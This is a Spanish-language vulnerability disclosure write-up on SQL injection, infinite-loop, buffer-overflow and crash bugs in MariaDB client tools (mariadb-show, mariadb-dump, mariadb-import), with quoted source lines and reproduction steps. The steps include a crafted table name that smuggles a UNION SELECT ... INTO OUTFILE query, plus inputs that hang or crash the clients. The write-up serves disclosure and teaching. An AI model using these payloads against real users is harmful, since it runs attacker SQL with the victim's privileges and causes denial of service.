Resumen
Lo habitual es pensar en la inyección SQL como un ataque contra el servidor. Este caso le da la vuelta: el atacante controla la base de datos y la víctima es quien la inspecciona con las herramientas de línea de órdenes de MariaDB. Varias de ellas toman nombres que devuelve el propio servidor (tablas, servidores federados) y los pegan tal cual dentro de nuevas consultas, sin escaparlos. Un nombre de tabla bien elegido se convierte así en SQL que ejecuta el cliente con los privilegios de quien lo lanza.
El fallo más serio está en mariadb-show --count --verbose. El investigador vortfu reportó además problemas menores en mariadb-convert-table-format.sh y mariadb-dump (otra inyección limitada, un bucle infinito y desbordamientos de búfer) y, como extra, un cierre inesperado de mariadb-import.
Datos del caso: CVE-2026-86047, debilidad clasificada como SQL Injection, enviado el 7 de julio de 2026 y divulgado el 8 de noviembre de 2026, con el reporte ya resuelto. El reporte no indica recompensa.
mariadb-show: el nombre de tabla entra en la consulta sin escapar
Con --count, la herramienta recorre el resultado de SHOW TABLES y, para cada tabla, construye un SELECT COUNT(*) interpolando el nombre entre acentos graves (client/mysqlshow.c, líneas 606-623):
/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
row[0]);
if (!(mysql_query(mysql,query)))
...
Si el nombre contiene un acento grave, cierra el identificador y lo que viene después pasa a ser SQL. El investigador señala otros puntos con el mismo patrón en client/mysqlshow.c, líneas 466, 725, 738 y 762.
mariadb-convert-table-format.sh: comillas y comodines en LIKE
El script en Perl hace lo mismo con SHOW TABLE STATUS (scripts/mysql_convert_table_format.sh, línea 99):
$sth=$dbh->prepare("show table status like '$table'");
Aquí el margen es pequeño: según el investigador, solo se puede colar una comilla simple ' o comodines de LIKE. En su prueba, una tabla llamada poc% hace que el patrón coincida también con otra tabla y que el script informe mal de su motor.
mariadb-dump --system=servers: nombre de servidor sin comillas
En client/mysqldump.cc, línea 5241:
my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);
El nombre del servidor ni siquiera va entre acentos graves, así que cualquier nombre con un espacio ya provoca la inyección. El propio investigador reconoce que no es muy aprovechable.
mariadb-dump --events: bucle infinito
Para volcar eventos, create_delimiter() busca un delimitador que no aparezca en el cuerpo del evento, añadiendo puntos y comas. Pero el bucle incrementa delimiter_max_size en vez de proposed_length (client/mysqldump.cc, líneas 2674-2695):
static char *create_delimiter(char *query, char *delimiter_buff,
int delimiter_max_size)
{
int proposed_length;
char *presence;
delimiter_buff[0]= ';'; /* start with one semicolon, and */
for (proposed_length= 2; proposed_length < delimiter_max_size;
delimiter_max_size++) {
delimiter_buff[proposed_length-1]= ';'; /* add semicolons, until */
delimiter_buff[proposed_length]= '\0';
presence = strstr(query, delimiter_buff);
if (presence == NULL) { /* the proposed delimiter is not in the query. */
return delimiter_buff;
}
}
return NULL; /* but if we run out of space, return nothing at all. */
}
El candidato se queda fijo en ;; y, si el evento ya contiene ;;, el bucle no termina nunca.
mariadb-dump: desbordamientos con usuarios y hosts largos
Al volcar usuarios con --replace, el resultado de CONCAT(QUOTE(u.user), '@', QUOTE(u.Host)) se copia con quote_for_equal() en un búfer fijo char buf[200], sin comprobar longitudes (client/mysqldump.cc, líneas 4959-4982 y 2307-2325). Un 'usuario'@'host' suficientemente largo, sin necesidad de llegar al máximo permitido, lo desborda. Algo parecido pasa al volcar una vista con un DEFINER muy largo: search_buf[256] y replace_buf[256] se llenan con strxmov() (líneas 7192-7219). Este segundo caso lo detecta una compilación con ASAN pero no hace caer la versión normal. Según el investigador, no parece fácil de explotar, y esos búferes deberían ampliarse ahora que MariaDB acepta usuarios y hosts más largos.
Extra: mariadb-import --lock-tables
Al importar ficheros directamente, el código avanza argv hasta el NULL final para rellenar files_to_load, y luego --lock-tables vuelve a usar el mismo puntero agotado con el número original de argumentos (client/mysqlimport.cc, líneas 1318-1322):
for (; *argv != NULL; argv++)
{
table_load_params p(*argv, "", current_db, 0);
files_to_load.push_back(p);
}
...
if (lock_tables)
lock_table(mysql, argc, argv);
lock_table() termina llamando a fn_format() con un nombre de fichero NULL y el cliente se cae con un fallo de segmentación. No hace falta ninguna base de datos maliciosa: basta con usar la opción.
Pasos de reproducción
Inyección en mariadb-show
- En una base de datos que controla el atacante, crea una tabla normal con datos:
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
- Crea una segunda tabla cuyo nombre lleva la carga. El acento grave duplicado es como se escribe un acento grave literal dentro de un identificador:
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
- Comprueba que
SHOW TABLESdevuelve ambos nombres:
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
- La víctima ejecuta
mariadb-show --count --verbosecontra esa base. Al llegar a la segunda tabla, la herramienta envía:
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
- El fichero
/tmp/show_paparece con el usuario de la conexión de la víctima:
root@localhost
Comodín en mariadb-convert-table-format
- Crea dos tablas con motores distintos, una con
%en el nombre:
CREATE TABLE `poc`(
id INT
) ENGINE=MyISAM;
CREATE TABLE `poc%`(
id INT
) ENGINE=InnoDB;
- Ejecuta
mariadb-convert-table-format --engine=MYISAM --verbose .... La tabla InnoDB se da por convertida y se ignora:
Converting tables:
poc already uses the 'MYISAM' engine; Ignored
poc% already uses the 'MYISAM' engine; Ignored
Nombre de servidor en mariadb-dump --system=servers
- Crea dos servidores federados, uno con un espacio y un
#en el nombre:
CREATE SERVER `poc`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '127.0.0.1', DATABASE 'base_db');
CREATE SERVER `poc # hidden`
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '192.0.2.123', DATABASE 'hidden_db');
- Vuélcalos con
mariadb-dump --system=servers. Como el nombre entra sin comillas enshow create server %s, el del segundo servidor rompe la consulta.
Bucle infinito en mariadb-dump --events
- Crea un evento cuyo cuerpo contenga
;;:
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
- Ejecuta
mariadb-dump --events .... El volcado se queda colgado justo después de la línea del evento y hay que cortarlo a mano:
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C
Desbordamiento en mariadb-dump --system=users
- Crea un usuario con un nombre y un host largos:
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
- Ejecuta
mariadb-dump --system=users --replace .... El proceso aborta al final del volcado:
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...
Cierre de mariadb-import
$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault
Impacto
El escenario es el de alguien que conecta las herramientas oficiales de MariaDB a una base de datos controlada por un atacante. En ese caso:
mariadb-show --countejecuta el SQL que el atacante esconde en un nombre de tabla, con los privilegios de la cuenta de la víctima. En la prueba se usaINTO OUTFILEpara escribir en/tmp/show_pel resultado deuser(), que muestra que la consulta corre comoroot@localhost.mariadb-convert-table-formatpuede engañarse con comodines deLIKEpara que tome por convertida una tabla que no lo está.mariadb-dumppuede quedarse colgado indefinidamente (--events) o abortar por desbordamiento de búfer (--system=users), es decir, una denegación de servicio en el cliente.mariadb-import --lock-tablesse cae en la importación directa de ficheros, sin intervención de ningún atacante.
Qué aprender de este caso
- Los datos que devuelve el servidor también son entrada no confiable: nombres de tablas, servidores, usuarios o
DEFINERpueden contener acentos graves, comillas, espacios o#. En herramientas que inspeccionan bases ajenas, busca cadasnprintf/sprintfque metarow[0]en una consulta nueva. - Poner un identificador entre acentos graves no es escaparlo: hay que duplicar los acentos graves que contenga. Y en un
LIKE, además de la comilla hay que escapar%y_, o mejor filtrar el resultado por igualdad exacta. - En bucles de búsqueda como
create_delimiter(), comprueba que la variable que se incrementa es la misma que se compara y la que cambia el candidato; un error de una sola variable convierte un caso límite en un bucle sin fin. - Los búferes fijos (
char buf[200],search_buf[256]) dimensionados con los límites antiguos de usuario y host se quedan cortos cuando esos límites crecen: al ampliar un límite, revisa todas las copias que dependían del anterior.